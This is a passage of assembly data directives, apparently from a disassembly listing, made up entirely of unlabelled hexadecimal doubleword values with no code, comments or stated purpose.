		dd 708BBD56h, 0A802518Fh, 4E500BBEh, 7F22A9F0h,	11AFB1BCh
		dd 607C86D8h, 0C42B33AEh, 3AE63B30h, 0A7FC9528h, 0A7CC9D49h
		dd 3450E1C4h, 1727E648h, 4768D4CEh, 4E6B46E7h, 0B19B6863h
		dd 1EACE7A1h, 34678E4Fh, 0C69D54B0h, 7FDA9740h,	0F4AF743Dh
		dd 428AD6A8h, 85E2D61Ah, 0D7FA39BBh, 0A035592h,	4D1677Fh
		dd 4812B21Dh, 16875B2Eh, 89528FE3h, 0E136FE2Eh,	0AF0336FFh
		dd 39C77301h, 0B508B720h, 334A729Fh, 9356AC06h,	0F3643341h
		dd 2FC997F4h, 0DE58037Ch, 19C32D2h, 960E150Dh, 0CBF1C9C4h
		dd 4F59A26Eh, 1F04C2CEh, 0B736FDEh, 464A59FFh, 0D120182Dh
		dd 3DE42EDDh, 65E4265Dh, 1C138AE5h, 1812C634h, 7BEEDE91h
		dd 46931172h, 0DFF4EEB8h, 0E6E3201Dh, 2DF47E9Dh, 13700E7Ah
		dd 265A1C24h, 887A8B6Fh, 53AABFA0h, 0B26B70AAh,	8C2B0E08h
		dd 9DBA697Dh, 1229304Bh, 27B81F68h, 544640ACh, 427E1911h
		dd 636FAEA4h, 373E9500h, 0ACE7C1FEh, 0FC8BBB7Dh, 0A7C12124h
		dd 0D6900221h, 893221AAh, 2B960419h, 7A814497h,	2BBAB7FCh
		dd 0BEDEFB44h, 0C0F9596Fh, 0E9286587h, 788E6E95h, 0D070D1CDh
		dd 38697E1Dh, 0DF3AD3EFh, 9EBCB6E4h, 90A6837Ah,	428E5D2Eh
		dd 2CD9D962h, 0D7C64A10h, 6F5D8C1Ah, 391D2E09h,	1A093AE6h
		dd 82567F1Eh, 0A81CDF17h, 3BA7EAE2h, 1B899577h,	0C210E29Ch
		dd 0C60E6FF5h, 56EB2ED7h, 41E1B97Eh, 0ED6672DAh, 3782E7EEh
		dd 680DB594h, 5C53F880h, 840EA3AEh, 6FBE8328h, 821F17ADh
		dd 98E7C9A3h, 4646D9C4h, 915860BCh, 0EA0BBC5Eh,	20635FBEh
		dd 7022FE86h, 70D5ADD0h, 0D6AD6C55h, 0AA6B607Bh, 362F0C98h
		dd 0A44B56EAh, 2871794Ah, 7476D873h, 0E43D98DCh, 0C317D222h
		dd 7C6CFDFBh, 50D74910h, 0EC6FC7FFh, 1DCD8908h,	0BED465D9h
		dd 0D4AED188h, 0FD4D2374h, 6FE78E8Eh, 7BB160A0h, 2D4881FAh
		dd 25417A2h, 0F964ECC0h, 0B8E2280Eh, 62593867h,	2383CDDAh
		dd 0BCDA2721h, 1A31FDBCh, 31527C96h, 0DA628BE0h, 2E372D12h
		dd 0F8169D50h, 0F4F76BF3h, 634C1079h, 249DF165h, 9C7F25C0h
		dd 62A3DBC2h, 1350C03Eh, 0A51A2E6Dh, 4AEFE512h,	10DDF1F5h
		dd 2E8D2FC3h, 9586068h,	0C31A247Ah, 0ED7856C7h,	0C140332Ah
		dd 3DF8E008h, 0AFBA7BF6h, 0BF11B1BBh, 35A054A0h, 0B6119D90h
		dd 4B012191h, 0B04DA158h, 9FD80C5Fh, 184707A2h,	87C2B157h
		dd 0CC4247FFh, 6C99CB61h, 0BB2F1B8Ch, 0A8F6Dh, 0D514A9A0h
		dd 0A775DDBDh, 5E9525FDh, 0DA57CEA9h, 45ABA279h, 6AA683ACh
		dd 40940D66h
		dd 0C3314F1h, 0D8896E9Ah, 0EA0EFC0Eh, 93A21E1Dh, 1436A889h
		dd 52467B1Bh, 79FBBBAFh, 54F06288h, 4B287FBCh, 3C14A501h
		dd 0C9215813h, 0ED0FAA1Fh, 85056CF2h, 22BE95BAh, 910B8E59h
		dd 9B4A2666h, 59F87D1Ch, 0E235399h, 0A66FF118h,	7DA15F85h
		dd 5575E8C4h, 1ACA14D2h, 2C11A5D3h, 0FDDCB66Ah,	4F3096D2h
		dd 243F6388h, 0FB58BCEBh, 8E297BE0h, 0F0DC40C1h, 21FF0599h
		dd 51DF4B86h, 1A3125B1h, 0EE228662h, 0A7D560CFh, 0A14EA778h
		dd 36DA2366h, 55E9904h,	21F7326Dh, 0A8BC6286h, 0D25F6F68h
		dd 179E0A92h, 79E12DFDh, 4E3D55ACh, 62A18082h, 0CDBA5BE1h
		dd 35B7C519h, 0CD43CF28h, 0A88F072Eh, 322112E7h, 5B54F422h
		dd 0C9324CE5h, 434C7D75h, 0C5844B4Fh, 9CA409ECh, 0E7DAA680h
		dd 0D2275C52h, 6BE5A026h, 85F430DEh, 923B0610h,	0A08A3763h
		dd 702BE5B3h, 0AB6D27A2h, 0DF9E02F0h, 0C8C51D7Ch, 0C15E02Ah
		dd 0EE7B0819h, 0B492AD32h, 0F46C49BBh, 5A912A2h, 5D42C8FEh
		dd 21290D22h, 0E7F1A3Fh, 0A20FD646h, 2AB3F586h,	0EA5EA80Bh
		dd 7545457Ch, 29145019h, 0A4F38102h, 509AEA6h, 9167EC11h
		dd 238AB1D9h, 3F5A4FB3h, 58830E6Eh, 242CE78Bh, 0DB66526Eh
		dd 87B7E2E5h, 7BCA8B5Ch, 0CC1748BEh, 8902D00Ah,	0FD26880Bh
		dd 55915BC1h, 5896EDEEh, 3A3A74Fh, 624025C3h, 0A6B6A864h
		dd 1D9EC51Ah, 0C173D2DCh, 36EC67E7h, 7C12FA64h,	0D50291E3h
		dd 0F9994233h, 918D1CF8h, 741A38BCh, 0CA2A8DD0h, 3707168Fh
		dd 0AA0E1A1Ch, 0D8E20ABEh, 17BC25C5h, 380C5A7h,	936E2E38h
		dd 5DCE83E8h, 9E9CA15Ah, 17E14813h, 0AECEE35h, 98D4CE78h
		dd 82E78182h, 0A9F92AA8h, 0B5061A93h, 2CF0F83Dh, 8332519h
		dd 39F4EE90h, 60467844h, 0DCC2E3DCh, 402CECh, 52602F90h
		dd 5D265B24h, 0AE665A58h, 0EDB5D19Ah, 0DCFC8BA3h, 0DD618279h
		dd 872FC616h, 94F5F612h, 9F9EB4C0h, 0DD412480h,	0F2881BD0h
		dd 35CB685Ah, 8C7DFE0Eh, 101FDB36h, 9E5A10F2h, 751E1CAAh
		dd 0D97252BBh, 8083AEAFh, 42D14CB5h, 0D354E6ADh, 50027CCEh
		dd 2EFEE335h, 26A43D76h, 69A10A9Ch, 0EBECE88h, 71DDA241h
		dd 591BA0D2h, 2DA048BEh, 193634A4h, 0BA31761Ch,	0E0CC0F7Ah
		dd 477522FEh, 88D423B5h, 0D55D1F66h, 9A17074Bh,	0C62631Ah
		dd 0C196BCD0h, 1F880E63h, 2208ADB9h, 1A48C9C2h,	0C2C7F3A0h
		dd 16614CEDh, 4CA93F22h, 9EAFBBFAh, 0B7A0CF52h,	0AE5569E3h
		dd 0DE6F1A2Dh, 0D16C9CA5h, 8F838824h, 0BD374210h, 703EAC7Bh
		dd 0E0EBD8F3h, 502F990h, 7A8B9D88h, 0B9A8890Bh,	0DC7D312Eh
		dd 0C5C60A0h, 99796700h, 66C27238h, 0B04DEC9Fh,	346B75A0h
		dd 8762511Bh, 0FF8AC2E3h, 0DC5DC819h, 12F97951h, 4926EDA5h
		dd 6AD3CAE4h, 44B54965h, 0EB0A93D9h, 0F63F9B2h,	0E2CD454Bh
		dd 58F351BDh, 0D0DF744Eh, 0B491602Ch, 65877F22h, 27ECAF27h
		dd 8ED99717h, 0AC3A0C9Fh, 0ACCAD4B8h, 0C4CC9AFEh, 2EAA677h
		dd 0ABC8F0DFh, 4F45466Ch, 7161C7FFh, 1F0703C1h,	3A1F5A84h
		dd 7E3A4828h, 0C05779E3h, 0FAC2BB4Fh, 3F40D0D1h, 0A650F57Eh
		dd 35A1F73Fh, 0AD8BEFFAh, 647904C6h, 3153AD4Ch,	3997C2F4h
		dd 4961E208h, 1B3BA65Ch, 0BA686999h, 0EB2B0B82h, 0DC2A3C6Ah
		dd 0F24036FEh, 0E0146DDh, 0CDCE31AEh, 11D001D3h, 6691D468h
		dd 0CE1FFB13h, 5140990Bh, 58782B16h, 6F985B97h,	4B94C589h
		dd 9775AEC4h, 16FF6FB5h, 0B6A86CA2h, 8F7F85A3h,	5CCE22C2h
		dd 0C519FA20h, 1D9ABD33h, 0C2031F75h, 0C4F00196h, 58B1F19Ah
		dd 316D455Fh, 2AE17B61h, 77095FE9h, 0DC7D0213h,	7262285Bh
		dd 9ABF1BC8h, 8AF0666Ah, 0CB72C103h, 4B6502EEh,	0BCAB4B8Fh
		dd 3DC5EDEEh, 1530EC1Ah, 0B1D294CDh, 31DDBFB7h,	55A7E852h
		dd 0E0886658h, 0A5A1CF87h, 7E375E82h, 0C5951D56h, 0CB06068Bh
		dd 0ED167685h, 0B6C73691h, 2588A4BDh, 0B9B65751h, 0C59E0F70h
		dd 0ACE1314Eh, 981835D9h, 3EA92C1Ch, 633AAEB9h,	0F3E72C37h
		dd 0FC9E6CA0h, 9ED886D9h, 0DF11534Ah, 4D669F06h, 0CFDBE6AAh
		dd 1163AF3Fh, 0B76E56Dh, 0A79C1DCEh, 0B34B63BAh, 0FA5AFFF9h
		dd 0CE5E0F15h, 809D2135h, 95BAEBF4h, 9768972Eh,	5A7B9DBDh
		dd 0A25F1FF9h, 0E123B201h, 2788E5Dh, 0BCE0D756h, 0BE4BAF7Ch
		dd 26FCF9EDh, 0B3F15958h, 6D5C761Eh, 246E7E5Eh,	6EA7274Bh
		dd 5B7D045Ah, 0F2B8FAF6h, 0BDEEAC54h, 150682D2h, 87E57344h
		dd 0D9A7396Fh, 6BF776EDh, 0B3F5BE55h, 0BB555304h, 0F15B4B42h
		dd 25A2605h, 8142A8EAh,	8F7AB0E8h, 0E8E2D7A7h, 5EA2D203h
		dd 0D9CCCA58h, 0A9439C35h, 5A97719Eh, 0B66A3072h, 579FE645h
		dd 53C5B047h, 1C4DE91Dh, 2F95E092h, 0C462E3F5h,	85537F4Dh
		dd 12C344ACh, 0EB932EAFh, 5B8F3388h, 126759EFh,	7856964Bh
		dd 0DF6F9956h, 0AD33C6D3h, 664AA8D9h, 4D4C546Ch, 4C68282Bh
		dd 8DDB9DF2h, 2A314C87h, 0D4A5354h, 0F4BA4A50h,	2ABAE295h
		dd 0ED5BCAF3h, 15CF5EFCh, 56CBB8A6h, 0B9DADBF8h, 8827A07Eh
		dd 0D72F35E1h, 1651EDD8h, 3AF49FBAh, 78FD54F6h,	0B0270E12h
		dd 0B982C644h, 820A421h, 5AF3191h, 65E7B1B3h, 72A43448h
		dd 0FFA33C42h, 0F716D262h, 0D35C849Ch, 0EAF1F0C5h, 2967A994h
		dd 39AA4BD1h, 0B8876CAFh, 0A44827B9h, 0E9803BF0h, 5A39D2A9h
		dd 5304E849h, 1BA0DF38h, 9E9D9BFFh, 7AB84CA9h, 95B5553Ch
		dd 39C2FF90h, 0E7A44AB1h, 1FC1F467h, 294383C1h,	846B5068h
		dd 0EC50E471h, 77B1AEDDh, 8E2335F4h, 0C3532A09h, 0F295A01Ch
		dd 70D7BADEh, 9D21B16Eh, 1216EE4Bh, 778D497h, 0A53C3A17h
		dd 0EDE0B7C0h, 0F0DF83DAh, 0F81FD848h, 0C1B3F22Ch, 0B3F90AD7h
		dd 82EDCE53h, 6D971EB6h, 10C3A4D6h, 3DDD516Dh, 8902A58h
		dd 0FC6FEE64h, 65F2E75Ah, 0C07E07B5h, 43ECFBC2h, 718C9E18h
		dd 7E70BFADh, 0ABC3C28h, 0EDE071FEh, 0B876AA87h, 78D0B4ECh
		dd 3785CEB5h, 78D1573Fh, 564A0B5Dh, 1F82E8E5h, 7751D0E8h
		dd 3E586686h, 0B8EC34C2h, 5BB66D32h, 9FE38920h,	8FA5B19Ah
		dd 42AD0DACh, 0C6F8AB54h, 0F84557D2h, 9F64EA82h, 0C325ED03h
		dd 0A79DF2CBh, 365D4D76h, 3AF44269h, 0FA184C8Bh, 3F855B47h
		dd 23097922h, 7A85DF79h, 990FFFB3h, 58C05AF6h, 8E520140h
		dd 0E64818D3h, 13BBDA31h, 483C420Eh, 0E95593CBh, 4F71043Ah
		dd 0BA644AC1h, 0BBFD7B49h, 9886F114h, 3363376Fh, 26A3FE88h
		dd 2885CC6Dh, 7926A7D8h, 3B89F3D1h, 9655D763h, 2AB8BE71h
		dd 905F1162h, 3D285DCEh, 0B5EEF7A2h, 28B83FC8h,	8EBC298Ch
		dd 69A81B1Fh, 8FEB9999h, 4CEBCD9Bh, 80B32E63h, 5B8FD8EAh
		dd 0BB4867E7h, 664068B3h, 78DCE870h, 2A5A2024h,	0C4F74B2Bh
		dd 5199335Dh, 0C8E0B07h, 0C90DFF76h, 3A37C50Eh,	0D1E6A891h
		dd 0B43CC62h, 95DF7134h, 71601C99h, 0A3374BB7h,	1E658FF7h
		dd 6A9C787h, 0C671E8B5h, 997D54C5h, 0B4B7762Ah,	17E15AECh
		dd 676C57C4h, 0B59E1A8Fh, 0A45B8697h, 0C38DC091h, 0AD190AC7h
		dd 23BDC1F1h, 4879C1F9h, 0B97F190Ah, 0A9875DEEh, 0AEC2A15Ah
		dd 4A0FAB59h, 0F8AC3DBDh, 34F851E6h, 232329EEh,	64151EC2h
		dd 7286C0C7h, 60DBC098h, 0C5BCBDA5h, 57B6F05Ah,	4A4DC4C2h
		dd 11A0ED77h, 7997EED3h, 0B90536FBh, 0D77F2762h, 62184B99h
		dd 44CA34Dh, 26E7048Dh,	0B5418C02h, 0E4736B19h,	503B766Dh
		dd 0B00A1448h, 4CD9FD6Fh, 0C7D91002h, 1FBF0258h, 46764040h
		dd 89D55F97h, 86FF99Dh
		dd 1989D831h, 0E32396FEh, 0D23E4610h, 648C5327h, 0A3D575E9h
		dd 940145A0h, 0CC2F612Eh, 0FD7253E6h, 55ECFD8Fh, 0C9211FA2h
		dd 70FD2AA8h, 1260E9B3h, 0C23C5B49h, 6D4E0B5Dh,	95BC207Eh
		dd 0F425134Ch, 0A7521BF0h, 8461C23Bh, 0DDB5D4A1h, 0E67CD20Dh
		dd 6941EA2Ch, 81F86004h, 8B3FC75Ch, 0F51A0D53h,	99ABEF41h
		dd 73D9BB79h, 138208E6h, 0CB74BC84h, 7E0D346Dh,	1A0D4BD0h
		dd 2BAB18DAh, 7FD33E61h, 0CB202333h, 0BFA6C0A9h, 0AE588DD2h
		dd 49A88A90h, 0B4F45452h, 808C5D9Eh, 0E46F49C8h, 28574FF3h
		dd 0BA26B6D9h, 18EF083h, 5487305Dh, 4E414175h, 0C1B5D4E5h
		dd 0D1D4523Bh, 6F574EFFh, 0C2B159Dh, 3EF108EDh,	0D1601F42h
		dd 8B3B2FB3h, 0BB7A1674h, 0D2C38E04h, 0EBC5A8E3h, 0A4555BFAh
		dd 9AD98B40h, 18C280E0h, 0DB22B9BCh, 0D9DF7334h, 336819B7h
		dd 831BCB4Ch, 56E409C4h, 0F36D795Ah, 0AE01DC71h, 6E152DD6h
		dd 0CE6F3EF1h, 28B22628h, 0FB374D4h, 0DC127518h, 6B6E9610h
		dd 4A1777D5h, 0D0450CA5h, 50298608h, 0C9C814DEh, 0B57380ACh
		dd 0C3091E60h, 0FF48425Ah, 9BFF4739h, 96917E6Ch, 0BD0DF9A9h
		dd 0DB9D9463h, 1B0F986Ah, 9C8E2CC6h, 4606B450h,	67DF862Bh
		dd 0D30F98FDh, 73C601DEh, 0D2F7539Bh, 92BBAC7Fh, 0C619CBFDh
		dd 39600C8h, 70DE6AB6h,	0FFF4CC8Eh, 860D00AEh, 0F6C91ADDh
		dd 0C9EA6DF1h, 7CDC2496h, 0BAF524CAh, 0B9447313h, 0EFD0944Ah
		dd 5B679FAFh, 0A50B45F9h, 42D5990Ch, 80E921DFh,	403E8960h
		dd 0E790F2D0h, 0F05C0CD7h, 0F949F0AFh, 9F925FEAh, 484842F1h
		dd 7D1B0D13h, 4D462919h, 0D9771ED8h, 9ABBCABDh,	2187695Ch
		dd 5AC5F65Bh, 0CF318FFBh, 24FCA1F4h, 0EE0355C3h, 0E2E50888h
		dd 7FEC6C3Ah, 3BC9D70Ah, 0E6630621h, 0B384F8A0h, 9765F884h
		dd 3E40F6ADh, 0F00E7040h, 0DD420005h, 4CDB84E8h, 0AA85F80h
		dd 8D2DCB8Eh, 0FCCB7B15h, 6CB4E26Ah, 847B3AB8h,	536F3158h
		dd 1A49EEA0h, 0B49CCA14h, 9C1306A4h, 973D05EFh,	3483E39Fh
		dd 0E451789Ah, 7EFC19FDh, 28BCDD99h, 0D391EC5Ah, 24434AC0h
		dd 734C37BBh, 6BCAEF63h, 2A4996B9h, 0A84AE8C9h,	5D5DBE69h
		dd 44E81B97h, 0D14BCC24h, 0CA98A708h, 6CD0AE5Dh, 0FDE05E1Bh
		dd 0F321075Eh, 0F8305F38h, 0C1D8A2BBh, 136E4BB1h, 0B255AE3Fh
		dd 73F19C53h, 5AD29330h, 0F7EE290Ch, 0F57BE26Bh, 35AD6A01h
		dd 4D1F492Ch, 0D0D8C60Ah, 29F87BFFh, 0F4F00C9Eh, 0C3853CF3h
		dd 16195C53h, 0A8DD84A7h, 5FD9BE57h, 0AB71F7C1h, 3D081664h
		dd 59842DB4h, 0BF740E9Ah, 79515EC6h, 0D02DB346h, 4D83BD9Fh
		dd 61C1CEFAh, 0F44B1B77h, 304DB306h, 0D530B792h, 0A8506850h
		dd 0FA43290Eh, 5A7AB17h, 0CD90A84Ch, 61937E6Dh,	0E790BC13h
		dd 6F0F15FAh, 0CA5D55A2h, 0A76F444Ah, 79DA9AD3h, 9064A3DAh
		dd 0EAF30090h, 0DE65D754h, 2A31D5DCh, 0FC27ED0Dh, 3F19EF5Fh
		dd 91627771h, 0A14F4B10h, 70A47722h, 0B617E4DDh, 4506B690h
		dd 0DA587880h, 0E419B282h, 2FBAE8Bh, 6AA77DF4h,	0E43FF144h
		dd 62AE5976h, 25B7CBDCh, 811B4521h, 47FAC8B1h, 0CAB75247h
		dd 7192B4D1h, 88334C73h, 8DAA5F20h, 0F4E85873h,	33278469h
		dd 6B03936Fh, 0CCAAE936h, 7162F554h, 0E2075365h, 0F7E4D8BCh
		dd 0AE657350h, 6F90A24h, 0A1880923h, 0E1E21BFEh, 0FEFA0381h
		dd 0E64471BDh, 5D808484h, 0E5EBCC8h, 0C1D4D4E3h, 2858FFCDh
		dd 0E635002Dh, 0BC8BB300h, 57A3E03Bh, 0AA41EF4Eh, 97BB8378h
		dd 415B4455h, 0EF5AF9A5h, 6E165627h, 0AF320B0Fh, 92292A60h
		dd 90841302h, 0EBE302DCh, 0B72FFDC0h, 2FCCB83Bh, 0F3F0DFC6h
		dd 0C6591A17h, 3C62EF2Dh, 32293A8Fh, 406D54B9h,	0BE916A06h
		dd 7D64DB0Eh, 26DE1B15h, 179DA21Eh, 0EDAB1855h,	86B70354h
		dd 0BE2CCAE4h, 0B9E895AEh, 163189B7h, 5961CD1Fh, 3C499B08h
		dd 0E0A9D859h, 0FC120B70h, 86BBF433h, 9DDF6396h, 8FB5A69Fh
		dd 74C33F09h, 0E71A4150h, 36DBFF8Ah, 95AFA373h,	7363E6BBh
		dd 71162760h, 63EA23CAh, 1FD6F59Ah, 8D2A8D21h, 3C192214h
		dd 0D2BAE021h, 71461A6Fh, 41533D1Ch, 834CFA40h,	441CE307h
		dd 4D5854A6h, 0CA579DFAh, 6B4713D4h, 22B1AA71h,	1C281F1Dh
		dd 0E5ABE631h, 0F299C7AFh, 5D90068Ah, 0F9BD99CAh, 419861DFh
		dd 976BFDB7h, 0F0B40E75h, 4627BF16h, 604E1916h,	0C2EB8529h
		dd 505DA40h, 0B3C9B20Ch, 550A12FBh, 112BDC84h, 0E4FBF35Eh
		dd 0FD08FBBFh, 0E1BF3389h, 0B9401150h, 3CFFD19Eh, 0F74304EFh
		dd 83765CE4h, 0EEE5A36Dh, 4C33BA36h, 0C7F35CFDh, 0E2F6F08Dh
		dd 0AB616FBDh, 0C8C461E6h, 0E3B07D73h, 30BF6542h, 0D6C3AAF7h
		dd 501DB105h, 0F98263C7h, 6D59ACDDh, 1BD8B61Dh,	0CF342A4Ch
		dd 0DBF4279Dh, 5986893Fh, 0D9CD8F56h, 83C32105h, 0C8769B3Dh
		dd 0B1384387h, 0D0FDD461h, 0A54E5A7Fh, 0AA9DA690h, 0D5A50871h
		dd 7451DEDCh, 9F80F2D8h, 7ACB2871h, 86707383h, 0F806459Bh
		dd 743B9173h, 82866722h, 0FCEFF82Ah, 4A31ECB5h,	1C50EE69h
		dd 61A51CC5h, 0A8C4E188h, 7B3AAB8Fh, 0C61B2686h, 403B177Ah
		dd 38C6E656h, 0D7714C84h, 320D6BE1h, 99E1441Fh,	44482622h
		dd 59CBFD74h, 8855F753h, 5C0EA13Bh, 236E4886h, 0F89F91Eh
		dd 4EEC99Ch, 3B4640D4h,	18A9E627h, 59775088h, 850EA412h
		dd 0A7E66399h, 46E3865Bh, 0ABA3F049h, 63F21E10h, 0CAFD4ADEh
		dd 2D89B39Eh, 165755DDh, 0C887C217h, 80EEDA48h,	0CCCD3BF7h
		dd 0F5F97383h, 0C57C50B6h, 0A6993640h, 1C7C725Fh, 149F3851h
		dd 2B28416Fh, 0E0D4F9A4h, 0CF11B400h, 4496960Eh, 0B8B78587h
		dd 84139F0Dh, 99AD03D1h, 61960BE3h, 7A3C379Dh, 6D3024h
		dd 0DDEC0032h, 3C2C3495h, 0D8A6AA07h, 8C14DE6h,	83816E5Bh
		dd 63BAABEDh, 0C5664D42h, 330AA1E3h, 65CDB45h, 0E2F2D625h
		dd 0F202A127h, 8B5D56FFh, 3F51A9CCh, 333C8Bh, 892AD848h
		dd 0EA96310Bh, 43E32C83h, 0FBC3B0FBh, 0EF329C00h, 99748E5Eh
		dd 0BE2EE1F1h, 0D9C94F1h, 21883218h, 0FFEC5656h, 9DC76A58h
		dd 9945B128h, 0A6EA1440h, 46ACDAF0h, 7B52CCB9h,	3C9E10FCh
		dd 3D4C1B85h, 19A2E167h, 6D9C302Eh, 2DF80FF0h, 0FAB1C7D0h
		dd 34366ECh, 3C07F98Ch,	62B62653h, 0FD6713h, 0B3D0D54Dh
		dd 25DB0C1Bh, 958FC67Fh, 602D976Eh, 4D15E355h, 83B1F9E1h
		dd 1639D305h, 0B3458EB7h, 0EB4EB2CFh, 1BEA7908h, 0FA30724Ah
		dd 0CCCF144Fh, 0BE7A96F5h, 5A39871Fh, 0AF211C30h, 0A34A9181h
		dd 0D338F323h, 4B43D7A6h, 8C62F398h, 0CC9C8340h, 790D8AB2h
		dd 0E7F6715h, 643FA81h,	7D25936Ah, 0A52BB512h, 0F8C0137Fh
		dd 4BE8253Bh, 2BA8CD9Ah, 13293CB2h, 2EA5C951h, 3EA952D9h
		dd 264B6152h, 0B84582B7h, 0A93BF84Bh, 953AC091h, 4DDAFDD1h
		dd 0CCED1B0Eh, 0C663E941h, 7F418D7Ch, 2AB29493h, 3C7DAD51h
		dd 0F0DD4FB2h, 0CB92B968h, 0D8FFE1A9h, 0F73F6C40h, 0C05665ACh
		dd 9B5C6ADDh, 0B795593Fh, 45F7AA07h, 3271780Dh,	0EA17D7E3h
		dd 5D64113Ch, 19D8B4A3h, 0EB2E5969h, 911BFD44h,	90F1BF5Fh
		dd 213AEC8Dh, 800403B5h, 0E2BCD45Dh, 0AFA2F024h, 0A888E65Eh
		dd 0FDFB50FFh, 616D6C9Fh, 0E5EABAD8h, 9CCF565Fh, 37A97FC0h
		dd 9A52014Bh, 8A857B70h, 0F1461BF4h, 96826A7Ah,	0AA2B6245h
		dd 0A2981716h, 82D1AC03h, 0F5BD7A4Eh, 65CE05E3h, 10AAB2FEh
		dd 2087DE86h, 0B61600C6h, 62394F18h, 0FF0211FBh, 1EB22139h
		dd 9F8406C0h, 0EB8663C0h
		dd 633A9583h, 787C365Dh, 7E23136Bh, 0B2D5A066h,	0A4FA88F1h
		dd 3107BCE5h, 0DD31E887h, 5364322Ch, 2EE914BFh,	8A35A8FBh
		dd 67855626h, 20145EBAh, 0F5836CE6h, 0B53B67B0h, 78314784h
		dd 7AE2B1D1h, 3D1B556Ch, 60606CEh, 0BA3151FFh, 3541B989h
		dd 8074C21Fh, 1923A3A6h, 328D0896h, 9B3C5756h, 9565BAF3h
		dd 8B3C8986h, 0BDD3415Dh, 0DC33619Dh, 8F5BEE26h, 0BBB94146h
		dd 551CBCE3h, 0FAAA1FADh, 2FF612A7h, 6DB306C3h,	0B314BEA6h
		dd 0CD2FB108h, 90D882E4h, 5DDF02CBh, 0EF65F369h, 173E23A9h
		dd 0EF1C3E53h, 1FF1B7D9h, 44F318FBh, 5EAFCBA4h,	3ADD589Fh
		dd 15DBDBA3h, 8F0E216Dh, 1E0F83Fh, 82DE0C93h, 6E64A2B0h
		dd 80F5B1E4h, 386DBE68h, 0AE9917C3h, 0BEC351A2h, 0BF3AD50Ah
		dd 77E0C957h, 0B54E5388h, 9F381CA4h, 0ECD93564h, 0CA061B99h
		dd 0D8D1ED2Ch, 0D535254Fh, 200E036Ch, 70B38D3Eh, 617F95C9h
		dd 45FF22BCh, 5E3761B3h, 67D4EC84h, 0B444923Fh,	3AD5520Ah
		dd 0D3128150h, 0AB4597A1h, 51186CE2h, 0CD796E05h, 232883FBh
		dd 7B86B542h, 59DCDA4Dh, 31933DCCh, 2791F9B5h, 6C8965CBh
		dd 725A5B5Eh, 1A28C879h, 778A7C79h, 46DB8C50h, 72314BE8h
		dd 321C2EB8h, 7D0A73AEh, 0E27BC488h, 922FE4F8h,	8C824A31h
		dd 0D8BEB294h, 0C1177493h, 9FDBAB4Ah, 0E0F0BABEh, 0F30D5195h
		dd 86E0CAh, 8399282Ch, 77362CF0h, 207B4352h, 3611DF8Eh
		dd 3AA47773h, 0F5DBFE88h, 8839716h, 0D550A41h, 9475B602h
		dd 0B44BE488h, 788E7FA5h, 41425C5Ah, 984D2963h,	0DC38BCF3h
		dd 0BF8084E5h, 13D191CEh, 1AE23FABh, 0AF503611h, 28F50014h
		dd 2AEC4D3Eh, 0B7D59FDDh, 3CEF796h, 9DDB9B9Ah, 0EAFC45E9h
		dd 440FC3A1h, 0E170906Ch, 72D3849Fh, 35EFADAFh,	0E69469D0h
		dd 0FEDBD558h, 9BFE47B5h, 9A34C488h, 20A67D4h, 0E87824ADh
		dd 8A5E4ECh, 0E60CE802h, 0DA865622h, 256F894Dh,	0D2812B82h
		dd 6E249437h, 0E3CE3D2Ch, 0FB1D24B5h, 0DBC8BBF3h, 3A58B2A3h
		dd 3A63F0D7h, 981BD7A9h, 2FC0C221h, 5DDC97B2h, 8B4A167Bh
		dd 0E39B4DA3h, 7A89DE85h, 0BE9C83Fh, 0AC23B39Ah, 0BE89E31Ah
		dd 3B1A1C19h, 0B3087C9Eh, 0A34D2AFAh, 68453CD6h, 0B126D1Fh
		dd 0BC871ED5h, 0D95A9F60h, 6C77DBA2h, 2A422CB8h, 8FC37590h
		dd 0D4729266h, 76ADB5F9h, 0C7841B57h, 0D64B4C06h, 9956D7D1h
		dd 0B876B1A0h, 0EDA6D3A8h, 7214F995h, 6AB9CB77h, 4DC023C7h
		dd 8184DEBEh, 154E949Bh, 487BBCF2h, 799C0D6h, 0EACD4A92h
		dd 662D64DEh, 0E83DC0C8h, 730EC77Ch, 7011421Dh,	8863AFD3h
		dd 450E524Fh, 2420D3D4h, 9481D9B3h, 0CFEB811Bh,	5FFD3FADh
		dd 428AE5B4h, 0D694285Bh, 1B9AE1D0h, 9428C1C5h,	0FDF6A339h
		dd 246749Fh, 142D5C3h, 812863BDh, 8F4FC0FCh, 0BCC838F8h
		dd 4CD90146h, 5764A6A1h, 0AF7DCF9Eh, 0CB48CEE2h, 0D313A84Fh
		dd 0A49A128Fh, 56155D79h, 49F5401h, 0C8830644h,	0D55AFDF5h
		dd 81EEC929h, 0C2876073h, 0A331D163h, 0F0673E86h, 3802DDCBh
		dd 0F2544B01h, 0E8DF79C3h, 0DD81A67Bh, 5B5FA09Eh, 0F26C0EEEh
		dd 93CB6AD9h, 74328056h, 35264D63h, 0AE6CBF47h,	507FAEF5h
		dd 7EFD081Bh, 3A521165h, 0FE1C7444h, 4E51B818h,	1EB14ABh
		dd 7559B505h, 0B6AC935Eh, 0ED960307h, 50EBCABFh, 0EB256293h
		dd 19125AA2h, 99E05AEEh, 0B4F47C86h, 93D2F4DEh,	9A2F6C00h
		dd 1B36AD60h, 60221A3h,	1983E8ECh, 0DF364F63h, 3E9DF975h
		dd 0C4863005h, 81F0477Ah, 0C011A136h, 642E8571h, 4DA53D85h
		dd 0F2EDA2D4h, 0C271E75Dh, 0E76EE92Ch, 2744712Ah, 65D62178h
		dd 0DDBEBBF6h, 0F36E5720h, 0D33C1028h, 30C4CEA0h, 0D560FF5Ah
		dd 2CCBEEECh, 0EFBEE29Bh, 0C4DFCA75h, 0BCB76821h, 0A5D393A4h
		dd 5DA2063h, 3289F261h,	6F319FE3h, 0AAF31B0Ah, 427CA562h
		dd 4C5DCCA3h, 8ECBF4FFh, 0E6C063D6h, 0BF1BFCC3h, 94D97802h
		dd 0C2DA0035h, 0AC2D95E6h, 1BE6ADC1h, 9136CF7Ch, 0DEB5BF55h
		dd 7BC10F23h, 1AC445A7h, 58165FC1h, 0EF7B5A8Eh,	584046D5h
		dd 72CD2687h, 0DD92F734h, 270CCE43h, 0D29E4ADBh, 0AA3D9077h
		dd 0F7922910h, 926771D1h, 0A0A774FAh, 38CC7BF5h, 0C21804E1h
		dd 5F7E68E3h, 21AD8DFCh, 0E6602CC4h, 594ADB15h,	0D5DEE124h
		dd 0C8EB5BA3h, 434B2B18h, 2A199B04h, 43D52022h,	0D747B03h
		dd 0F18188B9h, 227666D1h, 2F4D24D4h, 32A3C617h,	4390E336h
		dd 45A7BF5h, 97FDF490h,	40777C33h, 893B5FE8h, 980C1013h
